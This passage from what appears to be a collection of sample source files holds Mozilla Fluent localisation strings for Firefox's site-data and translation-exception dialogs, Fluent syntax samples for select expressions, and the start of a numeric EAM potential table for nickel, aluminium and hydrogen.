site-data-removing-header }\n\nsite-data-removing-header = Removing Cookies and Site Data\n\nsite-data-removing-desc = Removing cookies and site data may log you out of websites. Are you sure you want to make the changes?\n\nsite-data-removing-table = Cookies and site data for the following websites will be removed\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\ntranslation-window =\n    .title = Exceptions - Translation\n    .style = width: 36em\n\ntranslation-close-key =\n    .key = w\n\ntranslation-languages-disabled-desc = Translation will not be offered for the following languages\n\ntranslation-languages-column =\n    .label = Languages\n\ntranslation-languages-button-remove =\n    .label = Remove Language\n    .accesskey = R\n\ntranslation-languages-button-remove-all =\n    .label = Remove All Languages\n    .accesskey = e\n\ntranslation-sites-disabled-desc = Translation will not be offered for the following sites\n\ntranslation-sites-column =\n    .label = Websites\n\ntranslation-sites-button-remove =\n    .label = Remove Site\n    .accesskey = S\n\ntranslation-sites-button-remove-all =\n    .label = Remove All Sites\n    .accesskey = i\n\ntranslation-button-close =\n    .label = Close\n    .accesskey = C\n\n"
  },
  {
    "path": "samples/Fluent/select_indent.ftl",
    "content": "select-1tbs-inline = { $selector ->\n   *[key] Value\n}\n\nselect-1tbs-newline = {\n$selector ->\n   *[key] Value\n}\n\nselect-1tbs-indent = {\n    $selector ->\n   *[key] Value\n}\n\nselect-allman-inline =\n{ $selector ->\n   *[key] Value\n    [other] Other\n}\n\nselect-allman-newline =\n{\n$selector ->\n   *[key] Value\n}\n\nselect-allman-indent =\n{\n    $selector ->\n   *[key] Value\n}\n\nselect-gnu-inline =\n   { $selector ->\n      *[key] Value\n   }\n\nselect-gnu-newline =\n   {\n$selector ->\n      *[key] Value\n   }\n\nselect-gnu-indent =\n   {\n       $selector ->\n      *[key] Value\n   }\n\nselect-no-indent =\n{\n$selector ->\n*[key] Value\n[other] Other\n}\n\nselect-no-indent-multiline =\n{\n$selector ->\n*[key] Value\n       Continued\n[other]\n    Other\n    Multiline\n}\n\n# # ERROR (Multiline text must be indented)\n# select-no-indent-multiline = { $selector ->\n#    *[key] Value\n# Continued without indent.\n# }\n\nselect-flat =\n{\n$selector\n->\n*[\nkey\n] Value\n[\nother\n] Other\n}\n\n# Each line ends with 5 spaces.\nselect-flat-with-trailing-spaces =\n{\n$selector\n->\n*[\nkey\n] Value\n[\nother\n] Other\n}\n"
  },
  {
    "path": "samples/Fluent/simple.ftl",
    "content": "# Simple things are simple.\nhello-user = Hello, {$userName}!\n\n# Complex things are possible.\nshared-photos =\n    {$userName} {$photoCount ->\n        [one] added a new photo\n       *[other] added {$photoCount} new photos\n    } to {$userGender ->\n        [male] his stream\n        [female] her stream\n       *[other] their stream\n    }.\n"
  },
  {
    "path": "samples/Formatted/NiAlH_jea.eam.fs",
    "content": "see James E Angelo, Neville R Moody, Michael I Baskes\n\"Trapping of hydrogen to lattice defects in nickel\", Modelling and\nSimulation in Materials Science & Engineering, vol. 3, pp. 289-307 (1995)\n    3   Ni  Al  H\n 1000  0.1300722995578975E-01 1000  0.5678391959798995E-02  0.5650000000000000E+01\n   28     58.710         3.5200        fcc \n  0.0000000000000000E+00 -0.1332662793615358E+00 -0.1452921454581837E+00 -0.1523531912368142E+00 -0.1581862523552362E+00\n -0.1639082041116888E+00 -0.1699426545382059E+00 -0.1764570476376752E+00 -0.1835109199136706E+00 -0.1911112227682255E+00\n -0.1992425242400153E+00 -0.2078735593152208E+00 -0.2169708161705926E+00 -0.2264981576262208E+00 -0.2364198685383210E+00\n -0.2467010212354559E+00 -0.2573089641630046E+00 -0.2682127177172648E+00 -0.2793832876249742E+00 -0.2907936148383499E+00\n -0.3024184814336230E+00 -0.3142343948579320E+00 -0.3262194641112117E+00 -0.3383532759151806E+00 -0.3506164751688710E+00\n -0.3629930849818281E+00 -0.3754632992578539E+00 -0.3880132539605681E+00 -0.4006282340364624E+00 -0.4132944249954278E+00\n -0.4259988342802910E+00 -0.4387292219786865E+00 -0.4514740394367802E+00 -0.4642223746432430E+00 -0.4769639034723383E+00\n -0.4896888460377404E+00 -0.5023882063058194E+00 -0.5150514008208491E+00 -0.5276733170954859E+00 -0.5402439685620584E+00\n -0.5527559057851690E+00 -0.5652019937956556E+00 -0.5775754037468577E+00 -0.5898697374354533E+00 -0.6020783706550734E+00\n -0.6141958187973504E+00 -0.6262163111449786E+00 -0.6381344390125845E+00 -0.6499424015305308E+00 -0.6616382540753616E+00\n -0.6731993263249691E+00 -0.6845796030423443E+00 -0.6957060801011892E+00 -0.7064948085245568E+00 -0.7168695757140675E+00\n -0.7267732527299753E+00 -0.7361710465584164E+00 -0.7450484575868490E+00 -0.7534069422321110E+00 -0.7612592416825148E+00\n -0.7686253227224800E+00 -0.7755292274454266E+00 -0.7819968032841373E+00 -0.7880540868431538E+00 -0.7937266203490037E+00\n -0.7990383766649565E+00 -0.8040117767243267E+00 -0.8086674652146524E+00 -0.8130242928279436E+00 -0.8170993717012625E+00\n -0.8209081734003210E+00 -0.8244646490459413E+00 -0.8277813583284139E+00 -0.8308695990447905E+00 -0.8337395320876144E+00\n -0.8364002989992798E+00 -0.8388601306360481E+00 -0.8411264464017005E+00 -0.8432059440847066E+00 -0.8451046806746021E+00\n -0.8468281447278194E+00 -0.8483813209452364E+00 -0.8497687476559737E+00 -0.8509945678935900E+00 -0.8520625747193371E+00\n -0.8529762514032520E+00 -0.8537388100896948E+00 -0.8543532100632678E+00 -0.8548222073722460E+00 -0.8551483635456201E+00\n -0.8553340719766496E+00 -0.8553815772750362E+00 -0.8552929923971586E+00 -0.8550703138095166E+00 -0.8547151651374190E+00\n -0.8542288599579191E+00 -0.8536141001159478E+00 -0.8528770375410186E+00 -0.8520101609408499E+00 -0.8510194840111716E+00\n -0.8499064644469634E+00 -0.8486725211340236E+00 -0.8473190381844873E+00 -0.8458473685456269E+00 -0.8442588372306652E+00\n -0.8425547442066161E+00 -0.8407363669700096E+00 -0.8388049628370240E+00 -0.8367617709719433E+00 -0.8346080141771175E+00\n -0.8323449004663495E+00 -0.8299736244409459E+00 -0.8274953684882504E+00 -0.8249113038193059E+00 -0.8222225913624328E+00\n -0.8194312028270083E+00 -0.8165381656110142E+00 -0.8135381986589678E+00 -0.8104430318985472E+00 -0.8072486480744487E+00\n -0.8039562298106482E+00 -0.8005669360809051E+00 -0.7970819051712361E+00 -0.7935022573432313E+00 -0.7898290971921718E+00\n -0.7860635135890277E+00 -0.7822065375250205E+00 -0.7782588382932190E+00 -0.7742197532367605E+00 -0.7700870580234671E+00\n -0.7658477859557991E+00 -0.7614923740747592E+00 -0.7569976237158578E+00 -0.7523403043259940E+00 -0.7474924540260339E+00\n -0.7424262490644793E+00 -0.7371152605107092E+00 -0.7315359786377336E+00 -0.7256688371398212E+00 -0.7194997208059100E+00\n -0.7130147649374017E+00 -0.7062107830858579E+00 -0.6990840527339586E+00 -0.6916355099263285E+00 -0.6838688833277935E+00\n -0.6757902321840703E+00 -0.6674074545321318E+00 -0.6587298477273151E+00 -0.6497677278712075E+00 -0.6405321085533657E+00\n -0.6310344355558080E+00 -0.6212863721358168E+00 -0.6112922466782784E+00 -0.6010783652240157E+00 -0.5906465248553197E+00\n -0.5800085678384548E+00 -0.5691757383537599E+00 -0.5581582564186043E+00 -0.5469659281367214E+00 -0.5356081318998811E+00\n -0.5240938131155666E+00 -0.5124314854938561E+00 -0.5006292372993926E+00 -0.4886947412876452E+00 -0.4766352673015746E+00\n -0.4644576967166927E+00 -0.4521685380961173E+00 -0.4397739435565100E+00 -0.4272797254586216E+00 -0.4146913731272406E+00\n -0.4020140693777172E+00 -0.3892527066834290E+00 -0.3764119028647137E+00 -0.3634960162151266E+00 -0.3505091600038455E+00\n -0.3374552163098947E+00 -0.3243378491869073E+00 -0.3111605171690215E+00 -0.2979264851148429E+00 -0.2846388353950218E+00\n -0.2713004784405015E+00 -0.2579141626735364E+00 -0.2444824838465252E+00 -0.2310078938154909E+00 -0.2174927087734169E+00\n -0.2039391169721405E+00 -0.1903491859578246E+00 -0.1767248693464794E+00 -0.1630680131652866E+00 -0.1493803617833507E+00\n -0.1356635634555516E+00 -0.1219191755016809E+00 -0.1081486691423308E+00 -0.9435343401120377E-01 -0.8054492422289172E-01\n -0.6670414857713070E-01 -0.5284236389642416E-01 -0.3896067277847237E-01 -0.2506137114673379E-01 -0.1114505736346416E-01\n  0.2787869992531000E-02  0.1673649714292225E-01  0.3069995798121283E-01  0.4467743152122949E-01  0.5866813997114662E-01\n  0.7267134735307934E-01  0.8668635275736136E-01  0.1007124932111410E+00  0.1147491401988674E+00  0.1287956978815430E+00\n  0.1428516014164529E+00  0.1569163153723068E+00  0.1709893322335105E+00  0.1850701709882827E+00  0.1991583757947666E+00\n  0.2132535147217212E+00  0.2273551785580352E+00  0.2414629796876397E+00  0.2555765510256194E+00  0.2696955450121337E+00\n  0.2838196326609008E+00  0.2979485026581798E+00  0.3120818605100766E+00  0.3262194277345074E+00  0.3403609410961295E+00\n  0.3545061518803436E+00  0.3686548252055175E+00  0.3828067393706931E+00  0.3969616852363487E+00  0.4111194656371424E+00\n  0.4252798948247261E+00  0.4394427979383266E+00  0.4536080105023714E+00  0.4677753779491880E+00  0.4819447551653937E+00\n  0.4961160060612713E+00  0.5102890031615175E+00  0.5244636272329899E+00  0.5386397670398893E+00  0.5528173195811590E+00\n  0.5669961916288884E+00  0.5811763038337503E+00  0.5953575986744184E+00  0.6095400529056221E+00  0.6237236940889446E+00\n  0.6379086197162707E+00  0.6520950167319981E+00  0.6662831791056405E+00  0.6804735214359070E+00  0.6946665872026117E+00\n  0.7088630510277696E+00  0.7230637149920511E+00  0.7372694995930971E+00  0.7514814302896511E+00  0.7657006207512822E+00\n  0.7799282539728765E+00  0.7941655623409360E+00  0.8084138075998624E+00  0.8226742614970703E+00  0.8369481877037046E+00\n  0.8512368254336948E+00  0.8655413750282932E+00  0.8798629856427098E+00  0.8942027450633461E+00  0.9085616716017455E+00\n  0.9229407079527192E+00  0.9373407168612360E+00  0.9517624784199370E+00  0.9662066888041991E+00  0.9806739602523891E+00\n  0.9951648221004206E+00  0.1009679722693299E+01  0.1024219032006336E+01  0.1038783044826459E+01  0.1053371984359273E+01\n  0.1067986006143130E+01  0.1082625202169261E+01  0.1097289605119975E+01  0.1111979192652043E+01  0.1126693891663521E+01\n  0.1141433582496241E+01  0.1156198103032580E+01  0.1170987252656857E+01  0.1185800796057570E+01  0.1200638466853661E+01\n  0.1215499971032784E+01  0.1230384990195972E+01  0.1245293184603845E+01  0.1260224196025355E+01  0.1275177650390923E+01\n  0.1290153160254313E+01  0.1305150327069121E+01  0.1320168743286779E+01  0.1335207994283188E+01  0.1350267660123350E+01\n  0.1365347317171768E+01  0.1380446539557269E+01  0.1395564900502009E+01  0.1410701973522016E+01  0.1425857333509093E+01\n  0.1441030557701353E+01  0.1456221226550525E+01  0.1471428924494518E+01  0.1486653240641253E+01  0.1501893769371186E+01\n  0.1517150110865678E+01  0.1532421871566029E+01  0.1547708664570152E+01  0.1563010109971501E+01  0.1578325835145321E+01\n  0.1593655474987493E+01  0.1608998672109891E+01  0.1624371180506387E+01  0.1639740502114151E+01  0.1655122356345302E+01\n  0.1670516417892671E+01  0.1685922369619611E+01  0.1701339902568634E+01  0.1716768715949499E+01  0.1732208517108212E+01\n  0.1747659021479414E+01  0.1763119952524256E+01  0.1778591041654877E+01  0.1794072028147745E+01  0.1809562659046684E+01\n  0.1825062689057695E+01  0.1840571880435753E+01  0.1856090002865933E+01  0.1871616833338670E+01  0.1887152156020591E+01\n  0.1902695762121880E+01  0.1918247449760493E+01  0.1933807023824201E+01  0.1949374295830467E+01  0.1964949083785456E+01\n  0.1980531212042564E+01  0.1996120511159695E+01  0.2011716817757780E+01  0.2027319974378536E+01  0.2042929829344224E+01\n  0.2058546236616969E+01  0.2074169055660697E+01  0.2089798151303690E+01  0.2105433393602993E+01  0.2121074657710956E+01\n  0.2136721823742874E+01  0.2152374776647946E+01  0.2168033406081115E+01  0.2183697606278244E+01  0.2199367275932566E+01\n  0.2215042318074360E+01  0.2230722639952553E+01  0.2246408152918789E+01  0.2262098772314182E+01  0.2277794417357875E+01\n  0.2293495011038814E+01  0.2309200480010006E+01  0.2324910754483760E+01  0.2340625768131687E+01  0.2356345457985135E+01\n  0.2372069764338704E+01  0.2387798630656611E+01  0.2403532003480336E+01  0.2419269832339658E+01  0.2435012069665014E+01\n  0.2450758670702946E+01  0.2466509593432718E+01  0.2482264798486547E+01  0.2498024249070006E+01  0.2513787910886542E+01\n  0.2529555752062322E+01  0.2545327743074537E+01  0.2561103856680077E+01  0.2576884067847857E+01  0.2592668353691494E+01\n  0.2608456693404804E+01  0.2624249068198495E+01  0.2640045461239012E+01  0.2655845857588801E+01  0.2671650244148466E+01\n  0.2687458609600455E+01  0.2703270944353804E+01  0.2719087240491504E+01  0.2734907491718758E+01  0.2750731693312261E+01\n  0.2766559842071786E+01  0.2782391936272532E+01  0.2798227975619128E+01  0.2814067961200806E+01  0.2829911895447779E+01\n  0.2845759782089161E+01  0.2861611626111980E+01  0.2877467433721947E+01  0.2893327212308449E+01  0.2909190970421690E+01\n  0.2925058717783131E+01  0.2940930465370343E+01  0.2956806225646105E+01  0.2972686013021615E+01  0.2988569844663630E+01\n  0.3004457741744432E+01  0.3020349731207816E+01  0.3036245848084562E+01  0.3052146138327856E+01  0.3068050662093938E+01\n  0.3083959497337403E+01  0.3099872743561932E+01  0.3115790525549542E+01  0.3131712996890727E+01  0.3147640343150343E+01\n  0.3163572784533585E+01  0.3179510577942580E+01  0.3195454018354155E+01  0.3211403439482311E+01  0.3227359213718501E+01\n  0.3243321751378190E+01  0.3259291499296893E+01  0.3275268938843027E+01  0.3291254583421065E+01  0.3307248975552397E+01\n  0.3323252683617341E+01  0.3339266298346260E+01  0.3355290429139160E+01  0.3371325700295216E+01  0.3387372747215409E+01\n  0.3403432212646379E+01  0.3419504743012368E+01  0.3435590984884243E+01  0.3451691581620338E+01  0.3467807170206726E+01\n  0.3483938378319635E+01  0.3500085821623841E+01  0.3516250101317652E+01  0.3532431801926151E+01  0.3548631489345226E+01\n  0.3564849709131778E+01  0.3581086985033565E+01  0.3597344652416893E+01  0.3613622490530517E+01  0.3629920843003930E+01\n  0.3646240132058665E+01  0.3662580753832387E+01  0.3678943078161282E+01  0.3695327448517830E+01  0.3711734182088804E+01\n  0.3728163569978022E+01  0.3744615877522165E+01  0.3761091344705235E+01  0.3777590186658585E+01  0.3794112594236921E+01\n  0.3810658734656357E+01  0.3827228752187168E+01  0.3843822768889325E+01  0.3860440885384449E+01  0.3877083181654072E+01\n  0.3893749717858398E+01  0.3910440535169144E+01  0.3927155656609344E+01  0.3943895087897474E+01  0.3960658818286859E+01\n  0.3977446821402751E+01  0.3994259056066866E+01  0.4011095467111076E+01  0.4027955986175584E+01  0.4044840532489744E+01\n  0.4061749013633730E+01  0.4078681326279053E+01  0.4095637356908441E+01  0.4112616982511369E+01  0.4129620071256468E+01\n  0.4146646483140302E+01  0.4163696070611252E+01  0.4180768679168807E+01  0.4197864147938219E+01  0.4214982310220819E+01\n  0.4232122994020187E+01  0.4249286022544283E+01  0.4266471214683492E+01  0.4283678385466899E+01  0.4300907346494270E+01\n  0.4318157906348262E+01  0.4335429870982637E+01  0.4352723044092500E+01  0.4370037227462390E+01  0.4387372221295607E+01\n  0.4404727824526063E+01  0.4422103835109979E+01  0.4439500050301689E+01  0.4456916266912927E+01  0.4474352281555639E+01\n  0.4491807890868955E+01  0.4509282891733321E+01  0.4526777081468666E+01  0.4544290258021121E+01  0.4561822220135298E+01\n  0.4579372767515736E+01  0.4596941700976757E+01  0.4614528822579842E+01  0.4632133935763207E+01  0.4649756845459109E+01\n  0.4667397358203146E+01  0.4685055282234032E+01  0.4702730427585877E+01  0.4720422606171269E+01  0.4738131631857456E+01\n  0.4755857320535952E+01  0.4773599490184296E+01  0.4791357960922696E+01  0.4809132555063428E+01  0.4826923097156268E+01\n  0.4844729414026645E+01  0.4862551334810888E+01  0.4880388690984844E+01  0.4898241316389871E+01  0.4916109047253045E+01\n  0.4933991722205747E+01  0.4951889182295560E+01  0.4969801270997834E+01  0.4987727834222142E+01  0.5005668720316748E+01\n  0.5023623780069656E+01  0.5041592866707418E+01  0.5059575835892119E+01  0.5077572545715171E+01  0.5095582856689347E+01\n  0.5113606631739316E+01  0.5131643736190284E+01  0.5149694037754543E+01  0.5167757406516841E+01  0.5185833714918900E+01\n  0.5203922837741345E+01  0.5222024652085636E+01  0.5240139037355135E+01  0.5258265875233761E+01  0.5276405049664660E+01\n  0.5294556446828821E+01  0.5312719955121622E+01  0.5330895465129331E+01  0.5349083197331439E+01  0.5367282875848076E+01\n  0.5385494235244209E+01  0.5403717174591350E+01  0.5421951595034059E+01  0.5440197399763505E+01  0.5458454493990288E+01\n  0.5476722784918579E+01  0.5495002181717851E+01  0.5513292595496480E+01  0.5531593939274245E+01  0.5549906127955438E+01\n  0.5568229078301286E+01  0.5586562708902733E+01  0.5604906940153441E+01  0.5623261694222876E+01  0.5641626895028466E+01\n  0.5660002468209782E+01  0.5678388341101183E+01  0.5696784442705152E+01  0.5715190703666806E+01  0.5733607056245972E+01\n  0.5752033434292926E+01  0.5770469773221294E+01  0.5788916009983083E+01  0.5807372083043617E+01  0.5825837932355000E+01\n  0.5844313499333083E+01  0.5862798726831699E+01  0.5881293559118404E+01  0.5899797941851205E+01  0.5918311822053070E+01\n  0.5936835148090665E+01  0.5955367869649308E+01  0.5973909937710687E+01  0.5992461304530181E+01  0.6010993710199870E+01\n  0.6029563495483089E+01  0.6048142443794930E+01  0.6066730512264272E+01  0.6085327659184557E+01  0.6103933843993559E+01\n  0.6122549027251964E+01  0.6141173170624000E+01  0.6159806236856411E+01  0.6178448189759933E+01  0.6197098994189034E+01\n  0.6215758616023336E+01  0.6234427022148239E+01  0.6253104180437035E+01  0.6271790059732240E+01  0.6290484629827574E+01\n  0.6309187861451164E+01  0.6327899726246912E+01  0.6346620196758565E+01  0.6365349246411810E+01  0.6384086849498459E+01\n  0.6402832981160216E+01  0.6421587617372310E+01  0.6440350734927804E+01  0.6459122311422306E+01  0.6477902325238560E+01\n  0.6496690755531631E+01  0.6515487582214305E+01  0.6534292785942100E+01  0.6553106348100002E+01  0.6571928250787252E+01\n  0.6590758476804609E+01  0.6609597009640567E+01  0.6628443833458164E+01  0.6647298933081430E+01  0.6666162293983589E+01\n  0.6685033902273446E+01  0.6703913744683604E+01  0.6722801808558643E+01  0.6741698081842145E+01  0.6760602553065809E+01\n  0.6779515211338037E+01  0.6798436046331943E+01  0.6817365048274937E+01  0.6836302207937280E+01  0.6855247516621816E+01\n  0.6874200966153282E+01  0.6893162548867991E+01  0.6912132257603389E+01  0.6931110085688530E+01  0.6950096026934304E+01\n  0.6969090075623598E+01  0.6988092226501735E+01  0.7007102474767507E+01  0.7026120816064235E+01  0.7045147246470421E+01\n  0.7064181762491003E+01  0.7083224361049062E+01  0.7102275039477362E+01  0.7121333795510111E+01  0.7140400627274076E+01\n  0.7159475533281437E+01  0.7178558512421901E+01  0.7197649563954585E+01  0.7216748687500626E+01  0.7235855883035654E+01\n  0.7254971150883136E+01  0.7274094491705881E+01  0.7293225906500751E+01  0.7312365396590522E+01  0.7331512963616746E+01\n  0.7350668609535120E+01  0.7369832336606407E+01  0.7389004147392185E+01  0.7408184044746747E+01  0.7427372031812411E+01\n  0.7446568112012670E+01  0.7465772289046285E+01  0.7484984566881565E+01  0.7504204949750658E+01  0.7523433442143897E+01\n  0.7542670048804212E+01  0.7561914774721672E+01  0.7581167625127947E+01  0.7600428605492169E+01  0.7619697721514100E+01\n  0.7638974979120491E+01  0.7658260384459254E+01  0.7677553943895177E+01  0.7696855664005213E+01  0.7716165551573454E+01\n  0.7735483613586325E+01  0.7754812044852841E+01  0.7774146430634772E+01  0.7793489013893222E+01  0.7812839802364948E+01\n  0.7832198803967884E+01  0.7851566026796888E+01  0.7870941479120802E+01  0.7890325169377391E+01  0.7909717106169680E+01\n  0.7929117298262355E+01  0.7948525754578284E+01  0.7967942484194026E+01  0.7987367496337072E+01  0.8006800800381754E+01\n  0.8026242405846276E+01  0.8045692322388845E+01  0.8065150559804493E+01  0.8084617128021762E+01  0.8104092037099576E+01\n  0.8123575297224079E+01  0.8143066918705415E+01  0.8162566911974665E+01  0.8182075287581299E+01  0.8201592056189469E+01\n  0.8221117228575778E+01  0.8240650815626054E+01  0.8260192828332890E+01  0.8279743277792548E+01  0.8299302175202868E+01\n  0.8318869531860187E+01  0.8338445359156225E+01  0.8358029668577160E+01  0.8377622471699610E+01  0.8397223780188767E+01\n  0.8416833605796000E+01  0.8436451960357047E+01  0.8456078855787993E+01  0.8475714304085500E+01  0.8495358317322456E+01\n  0.8515010907646797E+01  0.8534672087279333E+01  0.8554341868511301E+01  0.8574020263702693E+01  0.8593707285279649E+01\n  0.8613402945733171E+01  0.8633107257617183E+01  0.8652820233545668E+01  0.8672541886191894E+01  0.8692272228285830E+01\n  0.8712011272612585E+01  0.8731759032010899E+01  0.8751515519370983E+01  0.8771280747633298E+01  0.8791054729785913E+01\n  0.8810837478864300E+01  0.8830629007948218E+01  0.8850429330161134E+01  0.8870238458668837E+01  0.8890056406676365E+01\n  0.8909883187428321E+01  0.8929718814206822E+01  0.8949563300329515E+01  0.8969416659148337E+01  0.8989278904048760E+01\n  0.9009150048447722E+01  0.9029030105792657E+01  0.9048919089560115E+01  0.9068817013254048E+01  0.9088723890405547E+01\n  0.9108639734570488E+01  0.9128564559328495E+01  0.9148498378283008E+01  0.9168441205058130E+01  0.9188393053299251E+01\n  0.9208353936670647E+01  0.9228323868854844E+01  0.9248302863551771E+01  0.9268290934477903E+01  0.9288288095363413E+01\n  0.9308294359953749E+01  0.9328309742007235E+01  0.9348334255293310E+01  0.9368367913593602E+01  0.9388410730698894E+01\n  0.9408462720409801E+01  0.9428523896534983E+01  0.9448594272890006E+01  0.9468673863297340E+01  0.9488762681584802E+01\n  0.9508860741584925E+01  0.9528968057134250E+01  0.9549084642072614E+01  0.9569210510241618E+01  0.9589345675484282E+01\n  0.9609490151644962E+01  0.9629643952567108E+01  0.9649807092094022E+01  0.9669979584066937E+01  0.9690161442325262E+01\n  0.9710352680705284E+01  0.9730553313039422E+01  0.9750763353155946E+01  0.9770982814877840E+01  0.9791211712022829E+01\n  0.9811450058402528E+01  0.9831697867820566E+01  0.9851955154073806E+01  0.9872221930951270E+01  0.9892498212232454E+01\n  0.9912784011688075E+01  0.9933079343078646E+01  0.9953384220154447E+01  0.9973698656654562E+01  0.9994022666306762E+01\n  0.1001435626282665E+02  0.1003470009456882E+02  0.1005505370279354E+02  0.1007541692221616E+02  0.1009578976686720E+02\n  0.1011617225075480E+02  0.1013656438786407E+02  0.1015696619215623E+02  0.1017737767756941E+02  0.1019779885801728E+02\n  0.1021822974738978E+02  0.1023867035955192E+02  0.1025912070834428E+02  0.1027958080758259E+02  0.1030005067105711E+02\n  0.1032053031253292E+02  0.1034101974574955E+02  0.1036151898442014E+02  0.1038202804223235E+02  0.1040254693284723E+02\n  0.1042307566989899E+02  0.1044361426699570E+02  0.1046416273771851E+02  0.1048472109562067E+02  0.1050528935422884E+02\n  0.1052586752704187E+02  0.1054645562753072E+02  0.1056705366913900E+02  0.1058766166528144E+02  0.1060827962934513E+02\n  0.1062890757468810E+02  0.1064950908609077E+02  0.1067015700336870E+02  0.1069081494185409E+02  0.1071148291478914E+02\n  0.1073216093538781E+02  0.1075284901683381E+02  0.1077354717228192E+02  0.1079425541485676E+02  0.1081497375765323E+02\n  0.1083570221373617E+02  0.1085644079614013E+02  0.1087718951786965E+02  0.1089794839189827E+02  0.1091871743116957E+02\n  0.1093949664859596E+02  0.1096028605705928E+02  0.1098108566940994E+02  0.1100189549846826E+02  0.1102271555702228E+02\n  0.1104354585782909E+02  0.1106438641361461E+02  0.1108523723707299E+02  0.1110609834086651E+02  0.1112696973762601E+02\n  0.1114785143995061E+02  0.1116874346040703E+02  0.1118964581153000E+02  0.1121055850582263E+02  0.1123148155575473E+02\n  0.1125241497376490E+02  0.1127335877225852E+02  0.1129431296360895E+02  0.1131527756015691E+02  0.1133625257420954E+02\n  0.1135723801804252E+02  0.1137823390389772E+02  0.1139924024398471E+02  0.1142025705047962E+02  0.1144128433552578E+02\n  0.1146232211123331E+02  0.1148337038967921E+02  0.1150442918290690E+02  0.1152549850292635E+02  0.1154657836171509E+02\n  0.1156766877121638E+02  0.1158876974333961E+02  0.1160988128996192E+02  0.1163100342292520E+02  0.1165213615403900E+02\n  0.1167327949507859E+02  0.1169443345778498E+02  0.1171559805386622E+02  0.1173677329499617E+02  0.1175795919281455E+02\n  0.1177915575892700E+02  0.1180036300490579E+02  0.1182158094228856E+02  0.1184280958257915E+02  0.1186404893724685E+02\n  0.1188529901772762E+02  0.1190655983542237E+02  0.1192783140169806E+02  0.1194911372788769E+02  0.1197040682528970E+02\n  0.1199171070516803E+02  0.1201302537875296E+02  0.1203435085723962E+02  0.1205568715178919E+02  0.1207703427352811E+02\n  0.1209839223354848E+02  0.1211976104290818E+02  0.1214114071263091E+02  0.1216253125370503E+02  0.1218393267708453E+02\n  0.1220534499368958E+02  0.1222676821440496E+02  0.1224820235008141E+02  0.1226964741153520E+02  0.1229110340954733E+02\n  0.1231257035486524E+02  0.1233404825820068E+02  0.1235553713023114E+02  0.1237703698160018E+02  0.1239854782291576E+02\n  0.1242006966475194E+02  0.1244160251764720E+02  0.1246314639210712E+02  0.1248470129860064E+02  0.1250626724756299E+02\n  0.1252784424939512E+02  0.1254943231446288E+02  0.1257103145309731E+02  0.1259264167559508E+02  0.1261426299221796E+02\n  0.1263589541319379E+02  0.1265753894871477E+02  0.1267919360893930E+02  0.1270085940399096E+02  0.1272253634395807E+02\n  0.1274422443889557E+02  0.1276592369882235E+02  0.1278763413372411E+02  0.1280935575355105E+02  0.1283108856821895E+02\n  0.1285283258760953E+02  0.1287458782156935E+02  0.1289635427991064E+02  0.1291813197241135E+02  0.1293992090881460E+02\n  0.1296172109882920E+02  0.1298353255212942E+02  0.1300535527835513E+02  0.1302718928711147E+02  0.1304903458796954E+02\n  0.1307089119046614E+02  0.1309275910410295E+02  0.1311463833834799E+02  0.1313652890263444E+02  0.1315843080636154E+02\n  0.1318034405889441E+02  0.1320226866956276E+02  0.1322420464766316E+02  0.1324615200245751E+02  0.1326811074317337E+02\n  0.1329008087900448E+02  0.1331206241910968E+02  0.1333405537261467E+02  0.1335605974861005E+02  0.1337807555615254E+02\n  0.1340010280426523E+02  0.1342214150193681E+02  0.1344419165812167E+02  0.1346625328174062E+02  0.1348832638168022E+02\n  0.1351041096679353E+02  0.1353250704589885E+02  0.1355461462778115E+02  0.1357673372119115E+02  0.1359886433484638E+02\n  0.1362100647742997E+02  0.1364316015759144E+02  0.1366532538394614E+02  0.1368750216507624E+02  0.1370969050953028E+02\n  0.1373189042582217E+02  0.1375410192243334E+02  0.1377632500781127E+02  0.1379855969036910E+02  0.1382080597848685E+02\n  0.1384306388051198E+02  0.1386533340475719E+02  0.1388761455950183E+02  0.1390990735299232E+02  0.1393221179344152E+02\n  0.1395452788902909E+02  0.1397685564790063E+02  0.1399919507816944E+02  0.1402154618791462E+02  0.1404390898518284E+02\n  0.1406628347798727E+02  0.1408866967430708E+02  0.1411106758208999E+02  0.1413347720924909E+02  0.1415589856366520E+02\n  0.1417833165318584E+02  0.1420077648562560E+02  0.1422323306876623E+02  0.1424570141035628E+02  0.1426818151811159E+02\n  0.1429067339971510E+02  0.1431317706281675E+02  0.1433569251503422E+02  0.1435821976395167E+02  0.1438075881712129E+02\n  0.1440330968206166E+02  0.1442587236626011E+02  0.1444844687717011E+02  0.1447103322221295E+02  0.1449363140877790E+02\n  0.1451624144422053E+02  0.1453886333586524E+02  0.1456149709100336E+02  0.1458414271689378E+02  0.1460680022076286E+02\n  0.1462946960980574E+02  0.1465215089118382E+02  0.1467483217256191E+02  0.1469751345393999E+02  0.1472019473531807E+02\n  0.0000000000000000E+00  0.1353993104251454E-10  0.8388292241576100E-09  0.9249073098372293E-08  0.5030460210239372E-07\n  0.1857568627085415E-06  0.5369197789403567E-06  0.1310591025996369E-05  0.2826805415934704E-05  0.5547382204843158E-05\n  0.1010438933657199E-04  0.1732779196828242E-04  0.2827168149581216E-04  0.4423859602721504E-04  0.6680154505955162E-04\n  0.9782344112589946E-04  0.1394737204414197E-03  0.1942420040555485E-03  0.2649487116051849E-03  0.3547525922860875E-03\n  0.4671551828778767E-03  0.6060022412741116E-03  0.7754822366296253E-03  0.9801220045380374E-03  0.1224779698140599E-02\n  0.1514635184246249E-02  0.1855178047873591E-02  0.2252193379531577E-02  0.2711745527424523E-02  0.3240160001952968E-02\n  0.3844003722708506E-02  0.4530063798923195E-02  0.5305325033301281E-02  0.6176946336577127E-02  0.7152236236230247E-02\n  0.8238627657747143E-02  0.9443652150831976E-02  0.1077491372619769E-01  0.1224006246116400E-01  0.1384676802438050E-01\n  0.1560269326170134E-01  0.1751546797666743E-01  0.1959266303029807E-01  0.2184176487603834E-01  0.2427015063682662E-01\n  0.2688506382240104E-01  0.2969359077621229E-01  0.3270263793270082E-01  0.3591890995727141E-01  0.3934888883309312E-01\n  0.4299881395089809E-01  0.4687466325027261E-01  0.5098213545355013E-01  0.5532663342634311E-01  0.5991324869200370E-01\n  0.6474674712088738E-01  0.6983155580921956E-01  0.7517175115663279E-01  0.8077104814605506E-01  0.8663279082458433E-01\n  0.9275994397927995E-01  0.9915508599743368E-01  0.1058204028968442E+00  0.1127576835079031E+00  0.1199683157858993E+00\n  0.1274532842288529E+00  0.1352131683733934E+00  0.1432481423386811E+00  